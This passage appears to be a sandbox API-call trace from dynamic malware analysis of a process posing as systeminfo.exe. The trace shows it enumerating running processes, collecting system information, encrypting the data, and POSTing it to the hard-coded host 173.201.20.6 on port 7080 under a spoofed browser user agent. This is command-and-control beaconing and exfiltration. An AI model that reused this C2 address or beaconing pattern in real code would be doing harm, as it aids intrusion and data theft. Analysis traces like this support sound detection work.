th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0138.337] GetLastError () returned 0x0 [0138.337] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="2B062P") returned 6 [0138.337] SetLastError (dwErrCode=0x0) [0138.337] GetCurrentProcessId () returned 0x79c [0138.337] GetCurrentProcessId () returned 0x79c [0138.337] GetCurrentProcessId () returned 0x79c [0138.337] GetCurrentProcessId () returned 0x79c [0138.337] lstrcpyW (in: lpString1=0x524fbc, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0138.337] GetCurrentProcessId () returned 0x79c [0138.337] lstrlenA (lpString="just string") returned 11 [0138.337] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.337] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0138.337] GetLastError () returned 0x0 [0138.337] GetCurrentProcessId () returned 0x79c [0138.337] GetCurrentProcessId () returned 0x79c [0138.337] lstrcpyW (in: lpString1=0x5251e4, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0138.337] GetCurrentProcessId () returned 0x79c [0138.338] lstrlenA (lpString="just string") returned 11 [0138.338] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.338] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0138.338] GetLastError () returned 0x0 [0138.338] GetCurrentProcessId () returned 0x79c [0138.338] GetLastError () returned 0x0 [0138.338] lstrcpyW (in: lpString1=0x52540c, lpString2="reader_sl.exe" | out: lpString1="reader_sl.exe") returned="reader_sl.exe" [0138.338] GetCurrentProcess () returned 0xffffffff [0138.338] GetLastError () returned 0x0 [0138.338] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="2B093P") returned 6 [0138.338] SetLastError (dwErrCode=0x0) [0138.338] GetCurrentProcessId () returned 0x79c [0138.338] GetLastError () returned 0x0 [0138.338] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="2B094P") returned 6 [0138.338] SetLastError (dwErrCode=0x0) [0138.338] GetCurrentProcessId () returned 0x79c [0138.338] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0138.339] GetCurrentProcessId () returned 0x79c [0138.339] GetCurrentProcessId () returned 0x79c [0138.339] GetCurrentProcessId () returned 0x79c [0138.339] GetCurrentProcessId () returned 0x79c [0138.339] lstrcpyW (in: lpString1=0x525634, lpString2="systeminfo.exe" | out: lpString1="systeminfo.exe") returned="systeminfo.exe" [0138.339] lstrlenA (lpString="just string") returned 11 [0138.339] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.339] GetLastError () returned 0x0 [0138.339] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 0 [0138.339] CloseHandle (hObject=0x394) returned 1 [0138.339] lstrlenW (lpString="systeminfo.exe") returned 14 [0138.339] lstrlenW (lpString="reader_sl.exe") returned 13 [0138.339] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0138.339] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0138.339] lstrlenW (lpString="explorer.exe") returned 12 [0138.339] lstrlenW (lpString="dwm.exe") returned 7 [0138.339] lstrlenW (lpString="taskeng.exe") returned 11 [0138.339] lstrlenW (lpString="userinit.exe") returned 12 [0138.339] lstrlenW (lpString="taskhost.exe") returned 12 [0138.339] lstrlenW (lpString="spoolsv.exe") returned 11 [0138.339] lstrlenW (lpString="audiodg.exe") returned 11 [0138.339] lstrlenW (lpString="svchost.exe") returned 11 [0138.339] lstrlenW (lpString="lsm.exe") returned 7 [0138.339] lstrlenW (lpString="lsass.exe") returned 9 [0138.339] lstrlenW (lpString="services.exe") returned 12 [0138.339] lstrlenW (lpString="winlogon.exe") returned 12 [0138.339] lstrlenW (lpString="wininit.exe") returned 11 [0138.339] lstrlenW (lpString="csrss.exe") returned 9 [0138.339] lstrlenW (lpString="smss.exe") returned 8 [0138.339] lstrlenW (lpString="System") returned 6 [0138.339] lstrlenW (lpString="[System Process]") returned 16 [0138.340] lstrcpyW (in: lpString1=0x4edea0, lpString2="reader_sl.exe" | out: lpString1="reader_sl.exe") returned="reader_sl.exe" [0138.340] lstrlenW (lpString="reader_sl.exe") returned 13 [0138.340] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="systeminfo.exe") returned -1 [0138.340] lstrcpyW (in: lpString1=0x4edebc, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0138.340] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0138.340] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="systeminfo.exe") returned -1 [0138.340] lstrcpyW (in: lpString1=0x4eded6, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0138.340] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0138.340] lstrcmpiW (lpString1="explorer.exe", lpString2="systeminfo.exe") returned -1 [0138.340] lstrcpyW (in: lpString1=0x4edf00, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0138.340] lstrlenW (lpString="explorer.exe") returned 12 [0138.340] lstrcmpiW (lpString1="dwm.exe", lpString2="systeminfo.exe") returned -1 [0138.340] lstrcpyW (in: lpString1=0x4edf1a, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0138.340] lstrlenW (lpString="dwm.exe") returned 7 [0138.340] lstrcmpiW (lpString1="taskeng.exe", lpString2="systeminfo.exe") returned 1 [0138.340] lstrcpyW (in: lpString1=0x4edf2a, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0138.340] lstrlenW (lpString="taskeng.exe") returned 11 [0138.340] lstrcmpiW (lpString1="userinit.exe", lpString2="systeminfo.exe") returned 1 [0138.340] lstrcpyW (in: lpString1=0x4edf42, lpString2="userinit.exe" | out: lpString1="userinit.exe") returned="userinit.exe" [0138.340] lstrlenW (lpString="userinit.exe") returned 12 [0138.340] lstrcmpiW (lpString1="taskhost.exe", lpString2="systeminfo.exe") returned 1 [0138.340] lstrcpyW (in: lpString1=0x4edf5c, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0138.340] lstrlenW (lpString="taskhost.exe") returned 12 [0138.340] lstrcmpiW (lpString1="spoolsv.exe", lpString2="systeminfo.exe") returned -1 [0138.340] lstrcpyW (in: lpString1=0x4edf76, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0138.340] lstrlenW (lpString="spoolsv.exe") returned 11 [0138.340] lstrcmpiW (lpString1="audiodg.exe", lpString2="systeminfo.exe") returned -1 [0138.340] lstrcpyW (in: lpString1=0x4edf8e, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0138.340] lstrlenW (lpString="audiodg.exe") returned 11 [0138.340] lstrcmpiW (lpString1="svchost.exe", lpString2="systeminfo.exe") returned -1 [0138.340] lstrcpyW (in: lpString1=0x4edfa6, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0138.340] lstrlenW (lpString="svchost.exe") returned 11 [0138.340] lstrcmpiW (lpString1="lsm.exe", lpString2="systeminfo.exe") returned -1 [0138.340] lstrcpyW (in: lpString1=0x4edfbe, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0138.340] lstrlenW (lpString="lsm.exe") returned 7 [0138.340] lstrcmpiW (lpString1="lsass.exe", lpString2="systeminfo.exe") returned -1 [0138.340] lstrcpyW (in: lpString1=0x4edfce, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0138.340] lstrlenW (lpString="lsass.exe") returned 9 [0138.340] lstrcmpiW (lpString1="services.exe", lpString2="systeminfo.exe") returned -1 [0138.340] lstrcpyW (in: lpString1=0x4edfe2, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0138.340] lstrlenW (lpString="services.exe") returned 12 [0138.340] lstrcmpiW (lpString1="winlogon.exe", lpString2="systeminfo.exe") returned 1 [0138.340] lstrcpyW (in: lpString1=0x4edffc, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0138.340] lstrlenW (lpString="winlogon.exe") returned 12 [0138.340] lstrcmpiW (lpString1="wininit.exe", lpString2="systeminfo.exe") returned 1 [0138.340] lstrcpyW (in: lpString1=0x4ee016, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0138.340] lstrlenW (lpString="wininit.exe") returned 11 [0138.340] lstrcmpiW (lpString1="csrss.exe", lpString2="systeminfo.exe") returned -1 [0138.340] lstrcpyW (in: lpString1=0x4ee02e, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0138.340] lstrlenW (lpString="csrss.exe") returned 9 [0138.340] lstrcmpiW (lpString1="smss.exe", lpString2="systeminfo.exe") returned -1 [0138.340] lstrcpyW (in: lpString1=0x4ee042, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0138.340] lstrlenW (lpString="smss.exe") returned 8 [0138.341] lstrcmpiW (lpString1="System", lpString2="systeminfo.exe") returned -1 [0138.341] lstrcpyW (in: lpString1=0x4ee054, lpString2="System" | out: lpString1="System") returned="System" [0138.341] lstrlenW (lpString="System") returned 6 [0138.341] lstrcmpiW (lpString1="[System Process]", lpString2="systeminfo.exe") returned -1 [0138.341] lstrcpyW (in: lpString1=0x4ee062, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0138.341] lstrlenW (lpString="[System Process]") returned 16 [0138.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe,ONENOTEM.EXE,OfficeClickToRun.exe,explorer.exe,dwm.exe,taskeng.exe,userinit.exe,taskhost.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=242, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 242 [0138.341] GetNativeSystemInfo (in: lpSystemInfo=0x246f924 | out: lpSystemInfo=0x246f924*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0138.341] lstrlenA (lpString="YKYD69Q_705BA84C") returned 16 [0138.341] GetCurrentProcessId () returned 0x79c [0138.341] GetCurrentProcessId () returned 0x79c [0138.341] GetCurrentProcessId () returned 0x79c [0138.341] lstrlenA (lpString="just string") returned 11 [0138.341] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.341] GetLastError () returned 0x12 [0138.341] CryptDuplicateHash (in: hHash=0x4e6e68, pdwReserved=0x0, dwFlags=0x0, phHash=0x246f868 | out: phHash=0x246f868) returned 1 [0138.341] CryptEncrypt (in: hKey=0x4e6b98, hHash=0x4f3878, Final=1, dwFlags=0x0, pbData=0x520764*, pdwDataLen=0x246f85c*=0xd4, dwBufLen=0xe0 | out: pbData=0x520764*, pdwDataLen=0x246f85c*=0xe0) returned 1 [0138.341] CryptExportKey (in: hKey=0x4e6b98, hExpKey=0x4e6a40, dwBlobType=0x1, dwFlags=0x40, pbData=0x246f7ec, pdwDataLen=0x246f858 | out: pbData=0x246f7ec*, pdwDataLen=0x246f858*=0x6c) returned 1 [0138.341] CryptGetHashParam (in: hHash=0x4f3878, dwParam=0x2, pbData=0x520750, pdwDataLen=0x246f858, dwFlags=0x0 | out: pbData=0x520750, pdwDataLen=0x246f858) returned 1 [0138.341] CryptDestroyHash (hHash=0x4f3878) returned 1 [0138.341] GetLastError () returned 0x0 [0138.341] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x246f660, cbSize=0x246f860 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x246f860) returned 0x0 [0138.341] GetCurrentProcessId () returned 0x79c [0138.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x246f660, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0138.341] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0138.341] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0138.341] GetLastError () returned 0x0 [0138.342] GetCurrentProcessId () returned 0x79c [0138.342] lstrlenA (lpString="just string") returned 11 [0138.342] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.342] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0138.343] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x5206f0*, dwOptionalLength=0x154 | out: lpOptional=0x5206f0*) returned 1 [0138.899] GetCurrentProcessId () returned 0x79c [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.899] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.900] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.901] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.902] GetLastError () returned 0x0 [0138.904] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x246f918, lpdwBufferLength=0x246f870, lpdwIndex=0x0 | out: lpBuffer=0x246f918*, lpdwBufferLength=0x246f870*=0x4, lpdwIndex=0x0) returned 1 [0138.904] GetCurrentProcessId () returned 0x79c [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.904] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 